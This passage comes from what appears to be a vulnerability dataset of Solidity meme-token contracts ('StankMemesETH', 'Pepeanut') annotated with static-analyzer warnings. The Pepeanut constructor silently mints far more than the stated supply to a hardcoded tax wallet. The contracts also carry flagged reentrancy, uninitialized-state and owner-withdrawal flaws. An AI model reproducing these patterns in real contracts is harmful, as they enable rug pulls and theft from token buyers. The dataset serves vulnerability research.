attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420000000069 * 10 ** _decimals;\n\n string private constant _name = unicode\"Stank Memes \";\n\n string private constant _symbol = unicode\"STANK\";\n\n uint256 public _maxTxAmount = 8400000069 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000069 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3d08033): StankMemesETH._taxSwapThreshold should be constant \n\t// Recommendation for 3d08033: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000069 * 10 ** _decimals;\n\n uint256 public _maxTaxSwap = 4200000069 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n uint256 public casellAllowed = 2;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool public caCatalyst = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 55c3390): StankMemesETH.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 55c3390: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 82e4f6f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 82e4f6f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1781a61): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1781a61: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 82e4f6f\n\t\t// reentrancy-benign | ID: 1781a61\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 82e4f6f\n\t\t// reentrancy-benign | ID: 1781a61\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5004beb): StankMemesETH._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5004beb: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 1781a61\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 82e4f6f\n emit Approval(owner, spender, amount);\n }\n\n function setMarketPair(address addr) public onlyOwner {\n marketPair[addr] = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d899132): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d899132: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 957e4a8): StankMemesETH._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 957e4a8: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7550e3e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7550e3e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9da7507): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9da7507: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 957e4a8\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < 65,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caCatalyst &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < casellAllowed, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: d899132\n\t\t\t\t// reentrancy-eth | ID: 7550e3e\n\t\t\t\t// reentrancy-eth | ID: 9da7507\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d899132\n\t\t\t\t\t// reentrancy-eth | ID: 7550e3e\n\t\t\t\t\t// reentrancy-eth | ID: 9da7507\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 7550e3e\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 7550e3e\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: d899132\n\t\t\t\t// reentrancy-eth | ID: 9da7507\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d899132\n\t\t\t\t\t// reentrancy-eth | ID: 9da7507\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9da7507\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d899132\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 9da7507\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 9da7507\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: d899132\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d899132\n\t\t// reentrancy-events | ID: 82e4f6f\n\t\t// reentrancy-benign | ID: 1781a61\n\t\t// reentrancy-eth | ID: 7550e3e\n\t\t// reentrancy-eth | ID: 9da7507\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9e9545b): StankMemesETH.setMaxTaxSwap(bool,uint256) should emit an event for _maxTaxSwap = amount \n\t// Recommendation for 9e9545b: Emit an event for critical parameter changes.\n function setMaxTaxSwap(bool enabled, uint256 amount) external onlyOwner {\n swapEnabled = enabled;\n\n\t\t// events-maths | ID: 9e9545b\n _maxTaxSwap = amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 47a4d1b): StankMemesETH.setcasellAllowed(uint256) should emit an event for casellAllowed = amount \n\t// Recommendation for 47a4d1b: Emit an event for critical parameter changes.\n function setcasellAllowed(uint256 amount) external onlyOwner {\n\t\t// events-maths | ID: 47a4d1b\n casellAllowed = amount;\n }\n\n function setcaCatalyst(bool _status) external onlyOwner {\n caCatalyst = _status;\n }\n\n function reclaimETH() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 210d83c): StankMemesETH.reclaimERC20tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 210d83c: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function reclaimERC20tokens(\n address _tokenAddr,\n uint _amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: 210d83c\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 984a610): StankMemesETH.setFeeWallet(address).newTaxWallet lacks a zerocheck on \t _taxWallet = address(newTaxWallet)\n\t// Recommendation for 984a610: Check that the address is not zero.\n function setFeeWallet(address newTaxWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: 984a610\n _taxWallet = payable(newTaxWallet);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: f12203b): StankMemesETH.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for f12203b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d899132\n\t\t// reentrancy-events | ID: 82e4f6f\n\t\t// reentrancy-eth | ID: 7550e3e\n\t\t// reentrancy-eth | ID: 9da7507\n\t\t// arbitrary-send-eth | ID: f12203b\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d5e397c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d5e397c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e7fcde5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e7fcde5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1ff7e56): StankMemesETH.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1ff7e56: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 929f7bf): StankMemesETH.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 929f7bf: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 579312a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 579312a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: d5e397c\n\t\t// reentrancy-benign | ID: e7fcde5\n\t\t// reentrancy-eth | ID: 579312a\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e7fcde5\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: e7fcde5\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: d5e397c\n\t\t// unused-return | ID: 929f7bf\n\t\t// reentrancy-eth | ID: 579312a\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: d5e397c\n\t\t// unused-return | ID: 1ff7e56\n\t\t// reentrancy-eth | ID: 579312a\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: d5e397c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 579312a\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: d5e397c\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10249.sol",
"size_bytes": 23850,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Pepeanut is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f4ddee7): Pepeanut._taxWallet should be immutable \n\t// Recommendation for f4ddee7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"PEPEANUT\";\n\n string private constant _symbol = unicode\"PEPEANUT\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 9c2dd76): Pepeanut._initialBuyTax should be constant \n\t// Recommendation for 9c2dd76: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 55afe89): Pepeanut._initialSellTax should be constant \n\t// Recommendation for 55afe89: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 93e1655): Pepeanut._reduceBuyTaxAt should be constant \n\t// Recommendation for 93e1655: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: d964196): Pepeanut._reduceSellTaxAt should be constant \n\t// Recommendation for d964196: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4880c8a): Pepeanut._preventSwapBefore should be constant \n\t// Recommendation for 4880c8a: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 0;\n\n uint256 private _buyCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 32ba9c8): Pepeanut._denominatorFee should be constant \n\t// Recommendation for 32ba9c8: Add the 'constant' attribute to state variables that never change.\n uint256 private _denominatorFee = 10000;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = _tTotal.mul(200).div(10000);\n\n uint256 public _maxWalletSize = _tTotal.mul(200).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 9e1f46b): Pepeanut._taxSwapThreshold should be constant \n\t// Recommendation for 9e1f46b: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal.mul(100).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 6904e0f): Pepeanut._maxTaxSwap should be constant \n\t// Recommendation for 6904e0f: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal.mul(100).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f50198): Pepeanut.uniswapV2Router should be constant \n\t// Recommendation for 2f50198: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 3672359): Pepeanut.uniswapV2Router is never initialized. It is used in Pepeanut._transfer(address,address,uint256) Pepeanut.swapTokensForEth(uint256)\n\t// Recommendation for 3672359: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2847a44): Pepeanut.uniswapV2Pair should be constant \n\t// Recommendation for 2847a44: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: d526bbf): Pepeanut.uniswapV2Pair is never initialized. It is used in Pepeanut._transfer(address,address,uint256)\n\t// Recommendation for d526bbf: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x0Fdd86493C0dE236658554aF6d164dbFF5d61961);\n\n _balances[_msgSender()] = _tTotal;\n\n uint256 _dev = _tTotal * _denominatorFee;\n\n _balances[address(_taxWallet)] = _dev;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 56e550a): Pepeanut.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 56e550a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0981293): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0981293: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d9aaeaa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d9aaeaa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0981293\n\t\t// reentrancy-benign | ID: d9aaeaa\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 0981293\n\t\t// reentrancy-benign | ID: d9aaeaa\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6da8ced): Pepeanut._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6da8ced: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d9aaeaa\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0981293\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bad9bb6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bad9bb6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: d526bbf): Pepeanut.uniswapV2Pair is never initialized. It is used in Pepeanut._transfer(address,address,uint256)\n\t// Recommendation for d526bbf: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 3672359): Pepeanut.uniswapV2Router is never initialized. It is used in Pepeanut._transfer(address,address,uint256) Pepeanut.swapTokensForEth(uint256)\n\t// Recommendation for 3672359: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b7cb0ff): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b7cb0ff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: bad9bb6\n\t\t\t\t// reentrancy-eth | ID: b7cb0ff\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: bad9bb6\n\t\t\t\t\t// reentrancy-eth | ID: b7cb0ff\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: b7cb0ff\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: b7cb0ff\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b7cb0ff\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: bad9bb6\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b7cb0ff\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b7cb0ff\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: bad9bb6\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 3672359): Pepeanut.uniswapV2Router is never initialized. It is used in Pepeanut._transfer(address,address,uint256) Pepeanut.swapTokensForEth(uint256)\n\t// Recommendation for 3672359: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0981293\n\t\t// reentrancy-events | ID: 